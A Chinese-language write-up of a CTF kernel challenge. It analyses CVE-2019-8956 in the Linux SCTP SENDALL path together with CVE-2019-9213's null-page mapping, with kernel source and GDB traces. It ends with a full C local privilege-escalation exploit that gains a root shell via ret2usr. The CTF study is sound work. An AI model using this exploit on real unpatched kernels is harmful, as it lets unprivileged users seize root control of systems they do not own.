[TOC]
上周的嘶吼CTF中出现了一道Linux内核相关的pwn题。与以往的内核提权型赛题不同,此题没有预设漏洞的模块,具体文件结构和题目描述如下:
$ ls
rootfs.img
start.sh
README.txt
.config
4.20.0-bzImage
$ cat README.txt
Old trick, a null pointer dereference
If you want to compile the linux kernel yourself, there is a .config file and the commit version.
commit:8fe28cb58bcb235034b64cbbb7550a8a43fd88be
我是比赛快结束时拿到题目,比赛期间并未解出,赛后搞了好几个小时才做完利用。
本文将阐述我学习内核利用的过程,之前我没怎么碰过内核利用,对Linux内核的一些东西也不熟,若有问题欢迎留言指正,不胜感激。
题目中给出了commit号,访问https://github.com/torvalds/linux/commit/8fe28cb58bcb235034b64cbbb7550a8a43fd88be可知这是4.20.0版本的内核。commit的时间是2018年12月,也就是说题目要考察的应该是一个2019年的内核Nday。另外还有.config
文件,这是编译内核时使用的配置文件。听队友说.config
文件是比赛期间出题人更新附件提供的,也算是提示。
README.txt
中还提到NULL pointer dereference,可以联想到CVE-2019-9213,这个漏洞修复在目标内核commit版本之后,可以用来映射零地址空间。那么问题就是找一个可用的NULL pointer dereference的Nday。于是去CVE相关资讯站上搜索,2019年登记在案的CVE已有170个,这里直接ctrl-f筛选有NULL pointer关键字的,结果筛出来的CVE要么没有公开的漏洞分析或POC,要么对内核配置有要求,在目标条件中POC运行失败。
尝试了多个NULL pointer dereference的Nday之后还是没有进展。回想起.config
文件,可能某些配置选项跟漏洞有关。这里可以自己先make defconfig
生成一份默认的.config
,然后进行文件比对。
diff .config ../linux-4d856f72c10ecb060868ed10ff1b1453943fc6c8/xx 7c7 < # Compiler: gcc (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609 --- > # Compiler: gcc (Ubuntu 6.5.0-2ubuntu1~16.04) 6.5.0 20181026 10c10 < CONFIG_GCC_VERSION=50400 --- > CONFIG_GCC_VERSION=60500 1054c1054,1060 < # CONFIG_IP_SCTP is not set --- > CONFIG_IP_SCTP=y ...
可以看到目标内核配置了IP_SCTP
选项!这是一个传输层的协议。而且题目的init
文件中还启用了本地网卡:
mount -t proc none /proc ... ifconfig lo up echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" poweroff -d 300 -f & setsid cttyhack setuidgid 1000 sh ...
那么此题大概率是考察一个SCTP协议相关的内核Nday了。一通搜索之后,可以基本确定是CVE-2019-8956了。这里注意到,在之前的CVE搜索中,cvedetails将其标注为UAF类型。
阅读启明星辰ADLab公开发布的分析文章,可知该漏洞存在于net/sctp/socket.c
文件中的sctp_sendmsg
函数内,相关代码如下:
static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len) { struct sctp_endpoint *ep = sctp_sk(sk)->ep; struct sctp_transport *transport = NULL; struct sctp_sndrcvinfo _sinfo, *sinfo; struct sctp_association *asoc; struct sctp_cmsgs cmsgs; union sctp_addr *daddr; ... /* SCTP_SENDALL process */ if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP)) { list_for_each_entry(asoc, &ep->asocs, asocs) { err = sctp_sendmsg_check_sflags(asoc, sflags, msg, msg_len); if (err == 0) continue; if (err < 0) goto out_unlock; sctp_sendmsg_update_sinfo(asoc, sinfo, &cmsgs); err = sctp_sendmsg_to_asoc(asoc, msg, msg_len, NULL, sinfo); if (err < 0) goto out_unlock; iov_iter_revert(&msg->msg_iter, err); } goto out_unlock; } ...
在处理SCTP_SENDALL
情况的过程中,内核会遍历ep->asocs
。根据漏洞分析文章,sctp_sendmsg_check_sflags
在SCTP_ABORT
情况下会把asoc
置为NULL,这导致了NULL pointer dereference。
但是,稍微阅读一下代码,发现并不是这么回事。原文中提到的sctp_side_effects
,参数asoc
是struct sctp_association **
类型,由函数sctp_do_sm
传入,*asoc = NULL
无法修改链表中的东西,影响不到SCTP_SENDALL
处理过程中的list_for_each_entry
里的asoc
。
int sctp_do_sm(struct net *net, enum sctp_event event_type, union sctp_subtype subtype, enum sctp_state state, struct sctp_endpoint *ep, struct sctp_association *asoc, void *event_arg, gfp_t gfp) { ... error = sctp_side_effects(event_type, subtype, state, ep, &asoc, event_arg, status, &commands, gfp); debug_post_sfx(); return error; }
既然感觉有点问题,不妨动态调试看看。搜一下可以找到一份POC,编译运行之后可以发现,破坏list_for_each_entry
链表遍历过程的是sctp_association_free
。sctp_association_free
中对asoc
进行了list_del
操作。
void sctp_association_free(struct sctp_association *asoc) { struct sock *sk = asoc->base.sk; struct sctp_transport *transport; struct list_head *pos, *temp; int i; /* Only real associations count against the endpoint, so * don't bother for if this is a temporary association. */ if (!list_empty(&asoc->asocs)) { list_del(&asoc->asocs); ... static inline void list_del(struct list_head *entry) { __list_del_entry(entry); entry->next = LIST_POISON1; entry->prev = LIST_POISON2; }
list_del
会将next
置为LIST_POISON1
,实际值是0x100。在遍历到下一个节点时,计算asoc
,即减去list_head
在sctp_association
中的偏移,对应代码如下:
此时的asoc
即为0x100-0x44=0xbc。
(gdb) x/10i 0xc1825c31
0xc1825c31: mov eax,DWORD PTR [edi+0x44]
0xc1825c34: sub eax,0x44
=> 0xc1825c37: mov edi,eax
0xc1825c39: cmp DWORD PTR [ebp-0x84],eax
0xc1825c3f: je 0xc1825c9b
0xc1825c41: push DWORD PTR [ebp-0x80]
0xc1825c44: mov ecx,ebx
0xc1825c46: mov edx,DWORD PTR [ebp-0x7c]
0xc1825c49: mov eax,edi
0xc1825c4b: call 0xc1824065
(gdb) p/x $eax
$1 = 0xbc
可以确认一下再次调用函数sctp_sendmsg_check_sflags
时,传入asoc=0xbc
。
(gdb) x/10i $eip
=> 0xc1825c4b: call 0xc1824065 // sctp_sendmsg_check_sflags
0xc1825c50: mov esi,eax
0xc1825c52: add esp,0x4
0xc1825c55: test eax,eax
0xc1825c57: je 0xc1825c31
0xc1825c59: test eax,eax
0xc1825c5b: js 0xc1826213
0xc1825c61: lea eax,[ebp-0x70]
0xc1825c64: mov ecx,eax
0xc1825c66: lea edx,[ebp-0x58]
(gdb) p/x $eax
$2 = 0xbc
利用CVE-2019-9213我们可以映射零地址空间,那么就可以在0xbc处伪造结构体。那么如何控制PC呢?
在sctp_sendmsg_check_sflags
函数中,由于设置了SCTP_SENDALL
,我们会进入sctp_style(sk, UDP) && !sctp_state(asoc, ESTABLISHED)
的判断,这里肯定不希望return 0
结束,所以需要避开这两个判断条件,而struct sock *sk = asoc->base.sk;
代表我们可以随意控制。
避开这个return 0
之后,由于设置了SCTP_ABORT
,我们会面对sctp_make_abort_user
和sctp_primitive_ABORT
。
static int sctp_sendmsg_check_sflags(struct sctp_association *asoc, __u16 sflags, struct msghdr *msg, size_t msg_len) { struct sock *sk = asoc->base.sk; struct net *net = sock_net(sk); ... if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP) && !sctp_state(asoc, ESTABLISHED)) return 0; ... if (sflags & SCTP_ABORT) { struct sctp_chunk *chunk; chunk = sctp_make_abort_user(asoc, msg, msg_len); if (!chunk) return -ENOMEM; pr_debug("%s: aborting association:%p\n", __func__, asoc); sctp_primitive_ABORT(net, asoc, chunk); return 0; ... }
参考原漏洞分析文章,sctp_make_abort_user
函数是构造chunk
,代码如下:
struct sctp_chunk *sctp_make_abort_user(const struct sctp_association *asoc, struct msghdr *msg, size_t paylen) { struct sctp_chunk *retval; void *payload = NULL; int err; retval = sctp_make_abort(asoc, NULL, sizeof(struct sctp_errhdr) + paylen); if (!retval) goto err_chunk; if (paylen) { /* Put the msg_iov together into payload. */ payload = kmalloc(paylen, GFP_KERNEL); if (!payload) goto err_payload; err = memcpy_from_msg(payload, msg, paylen); if (err < 0) goto err_copy; } sctp_init_cause(retval, SCTP_ERROR_USER_ABORT, paylen); sctp_addto_chunk(retval, paylen, payload); if (paylen) kfree(payload); return retval; ... }
这里我选择将paylen
设为0,避开memcpy_from_msg
。
那么接下来就是sctp_primitive_ABORT
了,实际定义位于net/sctp/primitive.c
,代码如下:
#define DECLARE_PRIMITIVE(name) \ /* This is called in the code as sctp_primitive_ ## name. */ \ int sctp_primitive_ ## name(struct net *net, struct sctp_association *asoc, \ void *arg) { \ int error = 0; \ enum sctp_event event_type; union sctp_subtype subtype; \ enum sctp_state state; \ struct sctp_endpoint *ep; \ \ event_type = SCTP_EVENT_T_PRIMITIVE; \ subtype = SCTP_ST_PRIMITIVE(SCTP_PRIMITIVE_ ## name); \ state = asoc ? asoc->state : SCTP_STATE_CLOSED; \ ep = asoc ? asoc->ep : NULL; \ \ error = sctp_do_sm(net, event_type, subtype, state, ep, asoc, \ arg, GFP_KERNEL); \ return error; \ }
可以看到,这里我们可以控制sctp_do_sm
调用时的net
、state
、ep
、asoc
。sctp_do_sm
即为状态机处理函数,代码如下:
int sctp_do_sm(struct net *net, enum sctp_event event_type, union sctp_subtype subtype, enum sctp_state state, struct sctp_endpoint *ep, struct sctp_association *asoc, void *event_arg, gfp_t gfp) { ... state_fn = sctp_sm_lookup_event(net, event_type, state, subtype); ... status = state_fn->fn(net, ep, asoc, subtype, event_arg, &commands); debug_post_sfn(); error = sctp_side_effects(event_type, subtype, state, ep, &asoc, event_arg, status, &commands, gfp); ... return error; }
这里有一处明显的函数指针调用,即state_fn->fn
。而state_fn
由sctp_sm_lookup_event(net, event_type, state, subtype)
返回,这里我们可以控第1、3两个参数,而event_type
为SCTP_EVENT_T_PRIMITIVE
,subtype
为SCTP_ST_PRIMITIVE(SCTP_PRIMITIVE_ABORT)
。
#define DO_LOOKUP(_max, _type, _table) \ ({ \ const struct sctp_sm_table_entry *rtn; \ \ if ((event_subtype._type > (_max))) { \ pr_warn("table %p possible attack: event %d exceeds max %d\n", \ _table, event_subtype._type, _max); \ rtn = &bug; \ } else \ rtn = &_table[event_subtype._type][(int)state]; \ \ rtn; \ }) const struct sctp_sm_table_entry *sctp_sm_lookup_event( struct net *net, enum sctp_event event_type, enum sctp_state state, union sctp_subtype event_subtype) { switch (event_type) { ... case SCTP_EVENT_T_PRIMITIVE: return DO_LOOKUP(SCTP_EVENT_PRIMITIVE_MAX, primitive, primitive_event_table); ... } }
rtn = &_table[event_subtype._type][(int)state];
对应的汇编代码如下:
(gdb) x/10i $eip
=> 0xc180c3dc: lea eax,[ecx+ebx*8]
0xc180c3df: lea edx,[eax*8-0x3e646160]
此时的ebx
即为state
,可由我们指定,所以state_fn
可控,伪造好fn
即可控制PC。由于题目中几乎没有任何内核保护,这里直接ret2usr。
完整利用代码如下:
#define _GNU_SOURE #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> #include <error.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/sctp.h> #include <netinet/in.h> #include <time.h> #include <signal.h> #define SERVER_PORT 6666 #define SCTP_GET_ASSOC_ID_LIST 29 #define SCTP_RESET_ASSOC 120 #define SCTP_ENABLE_RESET_ASSOC_REQ 0x02 #define SCTP_ENABLE_STREAM_RESET 118 void map_null() { void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0); if (map == MAP_FAILED) err(1, "mmap"); int fd = open("/proc/self/mem", O_RDWR); if (fd == -1) err(1, "open"); unsigned long addr = (unsigned long)map; while (addr != 0) { addr -= 0x1000; if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek"); char cmd[1000]; sprintf(cmd, "LD_DEBUG=help /bin/su 1>&%d", fd); system(cmd); } } void* client_func(void* arg) { int socket_fd; struct sockaddr_in serverAddr; struct sctp_event_subscribe event_; struct sctp_sndrcvinfo sri; int s; char sendline[] = "butterfly"; if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){ perror("client socket"); pthread_exit(0); } bzero(&serverAddr, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); serverAddr.sin_port = htons(SERVER_PORT); inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr); bzero(&event_, sizeof(event_)); event_.sctp_data_io_event = 1; if(setsockopt(socket_fd,IPPROTO_SCTP,SCTP_EVENTS,&event_,sizeof(event_))==-1){ perror("client setsockopt"); goto client_out_; } sri.sinfo_ppid = 0; sri.sinfo_flags = 0; printf("sctp_sendmsg\n"); if(sctp_sendmsg(socket_fd,sendline,sizeof(sendline), (struct sockaddr*)&serverAddr,sizeof(serverAddr), sri.sinfo_ppid,sri.sinfo_flags,sri.sinfo_stream,0,0)==-1){ perror("client sctp_sendmsg"); goto client_out_; } client_out_: //close(socket_fd); pthread_exit(0); } void* send_recv(void* arg) { int server_sockfd, msg_flags; server_sockfd = *(int*)arg; socklen_t len = sizeof(struct sockaddr_in); size_t rd_sz; char readbuf[20]="0"; struct sctp_sndrcvinfo sri; struct sockaddr_in clientAddr; rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf), (struct sockaddr*)&clientAddr, &len, &sri, &msg_flags); sri.sinfo_flags = (1 << 6) | (1 << 2); printf("SENDALL.\n"); len = 0; if(sctp_sendmsg(server_sockfd,readbuf,0,(struct sockaddr*)&clientAddr, len,sri.sinfo_ppid,sri.sinfo_flags,sri.sinfo_stream, 0,0)<0){ perror("SENDALL sendmsg"); } pthread_exit(0); } void* abort_func(void* arg) { int server_sockfd, msg_flags; server_sockfd = *(int*)arg; socklen_t len = sizeof(struct sockaddr_in); size_t rd_sz; char readbuf[20]="0"; struct sctp_sndrcvinfo sri; struct sockaddr_in clientAddr; rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf), (struct sockaddr*)&clientAddr, &len, &sri, &msg_flags); sri.sinfo_flags = (1 << 2); printf("ABORT.\n"); if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr, len,sri.sinfo_ppid,sri.sinfo_flags,sri.sinfo_stream, 0,0)<0){ perror("ABORT sendmsg"); } pthread_exit(0); } #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc106a2b1; void (*commit_creds)(void*) KERNCALL = (void*) 0xc1069ffd; struct trap_frame{ void *eip; uint32_t cs; uint32_t eflags; void *esp; uint32_t ss; }__attribute__((packed)); struct trap_frame tf; void launch_shell() { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("pushl %cs; popl tf+4;" "pushfl; popl tf+8;" "pushl %esp; popl tf+12;" "pushl %ss; popl tf+16;"); tf.eip = &launch_shell; tf.esp -= 1024; } void get_root_shell() { commit_creds(prepare_kernel_cred(0)); asm("mov $tf,%esp;" "iret;"); } int main(int argc, char** argv) { map_null(); prepare_tf(); memset(0, 0, 0x1000); *(uint32_t*)0xd4 = 0; *(uint32_t*)0x24 = 0; *(uint32_t*)0x268 = 0x7cc8e1c; *(uint32_t*)0x2a0 = 4; *(uint32_t*)0x1000 = &get_root_shell; int server_sockfd; //int messageFlags_; pthread_t thread_array[2]; pthread_t close_thread; pthread_t send_recv_thread; int i; struct sockaddr_in serverAddr; struct sctp_event_subscribe event_; //创建服务端SCTP套接字 if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){ perror("socket"); return 0; } bzero(&serverAddr, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); serverAddr.sin_port = htons(SERVER_PORT); inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr); //地址绑定 if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){ perror("bind"); goto out_; } //设置SCTP通知事件 bzero(&event_, sizeof(event_)); event_.sctp_data_io_event = 1; if(setsockopt(server_sockfd, IPPROTO_SCTP,SCTP_EVENTS,&event_,sizeof(event_)) == -1){ perror("setsockopt"); goto out_; } //开始监听 listen(server_sockfd,100); //创建线程,用于客户端链接 for(i=0; i<1;i++) { printf("create no.%d\n",i+1); if(pthread_create(&thread_array[i],NULL,client_func,NULL)){ perror("pthread_create"); goto out_; } } //创建abort线程 /*if(pthread_create(&send_recv_thread,NULL,abort_func,(void*)&server_sockfd)){ perror("pthread_create"); goto out_; }*/ //创建接收线程 if(pthread_create(&send_recv_thread,NULL,send_recv,(void*)&server_sockfd)){ perror("pthread_create"); goto out_; } while(1); out_: close(server_sockfd); return 0; }
运行结果如图。